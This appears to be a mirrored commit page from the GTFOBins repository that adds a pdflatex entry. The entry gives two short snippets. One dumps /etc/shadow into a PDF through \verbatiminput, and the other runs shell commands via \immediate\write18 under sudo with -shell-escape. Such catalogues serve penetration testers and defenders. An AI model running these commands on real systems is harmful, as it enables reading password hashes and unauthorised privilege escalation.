mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Create pdflatex.md
Add pdflatex.
This commit is contained in:
parent
f0d733ef91
commit
012b5e92d1
11
_gtfobins/pdflatex.md
Normal file
11
_gtfobins/pdflatex.md
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
description: `pdflatex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/).
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
echo "\documentclass[12pt]{article} \usepackage{verbatim} \hfuzz=25.002pt \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
|
||||||
|
latex read.tex
|
||||||
|
#/etc/shadow is in read.pdf
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
|
||||||
|
sudo pdflatex -shell-escape file.tex
|
Loading…
Reference in New Issue
Block a user